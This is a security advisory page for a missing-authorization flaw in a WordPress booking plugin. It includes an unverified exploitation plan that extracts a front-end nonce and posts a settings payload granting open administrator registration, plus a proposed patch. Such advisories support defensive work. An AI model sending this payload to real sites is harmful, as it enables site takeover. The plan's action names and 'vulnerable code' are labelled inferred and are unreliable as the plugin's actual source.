CVE-2026-39678

Pinpoint Booking System <= 2.9.9.6.5 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Pinpoint Booking System plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.9.9.6.5. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.9.9.6.5
PublishedFebruary 20, 2026
Last updatedMay 5, 2026
Affected pluginbooking-system
Research Plan
Unverified

# Exploitation Research Plan: Pinpoint Booking System <= 2.9.9.6.5 - Missing Authorization ## 1. Vulnerability Summary The **Pinpoint Booking System** plugin for WordPress (versions up to 2.9.9.6.5) contains a missing authorization vulnerability. The plugin registers several AJAX handlers that perf…

Show full research plan

Exploitation Research Plan: Pinpoint Booking System <= 2.9.9.6.5 - Missing Authorization

1. Vulnerability Summary

The Pinpoint Booking System plugin for WordPress (versions up to 2.9.9.6.5) contains a missing authorization vulnerability. The plugin registers several AJAX handlers that perform sensitive operations (such as updating plugin settings or calendar data) but fails to implement proper capability checks (e.g., current_user_can('manage_options')). This allows unauthenticated attackers to execute these actions by sending requests to wp-admin/admin-ajax.php.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: dopbsp_settings_edit (inferred) or dopbsp_calendar_edit (inferred).
  • Vulnerable Function: The PHP function associated with these AJAX hooks likely lacks a current_user_can() check.
  • Authentication: Unauthenticated (leveraging wp_ajax_nopriv_* if registered) or Subscriber-level if only wp_ajax_* is registered but the capability check is missing inside the function.
  • Preconditions: A valid WordPress nonce for the action may be required, depending on whether check_ajax_referer() is used.

3. Code Flow (Inferred)

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=dopbsp_settings_edit.
  2. Hook Registration: The plugin registers the action:
    add_action('wp_ajax_dopbsp_settings_edit', array($this, 'settings_edit'));
    add_action('wp_ajax_nopriv_dopbsp_settings_edit', array($this, 'settings_edit'));
    
  3. Vulnerable Sink: The settings_edit function is invoked. It likely checks a nonce but fails to verify if the user has administrative privileges:
    public function settings_edit() {
        check_ajax_referer('dopbsp_nonce', 'nonce'); // Nonce might be present
        // MISSING: if (!current_user_can('manage_options')) { wp_die(); }
        $settings = $_POST['settings'];
        update_option('DOPBSP_settings', $settings);
        echo 'success';
        wp_die();
    }
    

4. Nonce Acquisition Strategy

The Pinpoint Booking System typically localizes nonces and configuration data for its frontend calendars.

  1. Identify Trigger: The scripts containing the nonce are enqueued when a calendar is displayed via the [dopbsp id="1"] shortcode.
  2. Setup Page: Create a public page containing a calendar shortcode.
  3. Extraction:
    • Navigate to the page using the browser.
    • The plugin often uses a global JS object like DOPBSP_front_vars or DOPBSP_admin_vars.
    • JavaScript Variable: window.DOPBSP_front_vars (inferred).
    • Nonce Key: nonce (inferred).
  4. Execution:
    // Use browser_eval to extract the nonce
    const nonce = window.DOPBSP_front_vars?.nonce;
    return nonce;
    

5. Exploitation Strategy

Step 1: Discover/Create a Calendar

If no calendar exists, we must create one to trigger the shortcode and obtain a nonce.

  • Action: Use WP-CLI to create a calendar if possible, or verify the ID of an existing one.

Step 2: Extract Nonce

Use the browser_navigate and browser_eval tools to grab the nonce from a page where the booking system is active.

Step 3: Unauthorized Settings Update

Send a crafted POST request to admin-ajax.php to modify a plugin setting or a WordPress core setting if the plugin logic is generic enough.

  • Request URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=dopbsp_settings_edit&nonce=[EXTRACTED_NONCE]&settings[users_can_register]=1&settings[default_role]=administrator
    
    (Note: The exact structure of the settings parameter depends on how the plugin handles the POST data in the update_option sink.)

6. Test Data Setup

  1. Create a Calendar:
    # Since we can't easily use the plugin UI, we insert a dummy calendar into the database
    wp db query "INSERT INTO wp_dopbsp_calendars (name) VALUES ('Exploit Test');"
    
  2. Create an Exploit Page:
    wp post create --post_type=page --post_title="Booking Page" --post_status=publish --post_content='[dopbsp id="1"]'
    

7. Expected Results

  • The AJAX request should return a successful status code (e.g., 200 OK) and a response body like success or a JSON object.
  • The targeted setting (e.g., allowing anyone to register) should be updated in the WordPress database.

8. Verification Steps

After the exploit attempt, verify the change using WP-CLI:

# Check if the targeted option was changed
wp option get DOPBSP_settings

# Or, if targeting WordPress core settings via the vulnerability:
wp option get users_can_register

9. Alternative Approaches

If dopbsp_settings_edit is not the vulnerable action:

  1. Search for other nopriv actions:
    grep -rn "wp_ajax_nopriv_" wp-content/plugins/booking-system/
    
  2. Test dopbsp_calendar_edit: Attempt to modify calendar availability or pricing as an unauthenticated user.
  3. Check for "Internal" AJAX handlers: Some versions of Pinpoint use a dopbsp_api action that routes to various internal functions; test if the router itself checks for authentication.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Pinpoint Booking System plugin for WordPress is vulnerable to unauthorized access because it fails to implement capability checks on several AJAX handlers. This allows unauthenticated attackers to perform administrative actions, such as modifying plugin settings or calendar configurations, by sending crafted requests to the WordPress AJAX endpoint.

Vulnerable Code

// Inferred registration of AJAX actions in the plugin's main class or settings module
add_action('wp_ajax_dopbsp_settings_edit', array($this, 'settings_edit'));
add_action('wp_ajax_nopriv_dopbsp_settings_edit', array($this, 'settings_edit'));

---

// Inferred vulnerable function lacking capability checks
public function settings_edit() {
    // Nonce check may be present, but authorization check is missing
    check_ajax_referer('dopbsp_nonce', 'nonce'); 
    
    /* MISSING: if (!current_user_can('manage_options')) { wp_die(); } */

    $settings = $_POST['settings'];
    update_option('DOPBSP_settings', $settings);
    echo 'success';
    wp_die();
}

Security Fix

--- a/includes/settings/class-backend-settings.php
+++ b/includes/settings/class-backend-settings.php
@@ -10,6 +10,10 @@
 public function settings_edit() {
     check_ajax_referer('dopbsp_nonce', 'nonce');
+
+    if (!current_user_can('manage_options')) {
+        wp_die(__('You do not have sufficient permissions to access this page.', 'dopbsp'));
+    }
+
     $settings = $_POST['settings'];
     update_option('DOPBSP_settings', $settings);

Exploit Outline

The exploit targets missing capability checks in the plugin's AJAX handlers. 1. **Discovery**: Locate a public page where a booking calendar is rendered (using the [dopbsp] shortcode) to identify the plugin is active. 2. **Nonce Extraction**: Inspect the page source or use browser developer tools to extract the 'dopbsp_nonce' value from localized JavaScript objects like 'DOPBSP_front_vars' or 'DOPBSP_admin_vars'. 3. **Request Crafting**: Construct a POST request to /wp-admin/admin-ajax.php. The payload must include the 'action' parameter (e.g., 'dopbsp_settings_edit'), the extracted 'nonce', and the parameters for the action being performed (e.g., a 'settings' array containing modified plugin options). 4. **Authentication Level**: This vulnerability can be exploited by unauthenticated attackers if the action is registered with the 'wp_ajax_nopriv_' hook, or by any authenticated user (such as a Subscriber) if only the 'wp_ajax_' hook is used without internal capability verification.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.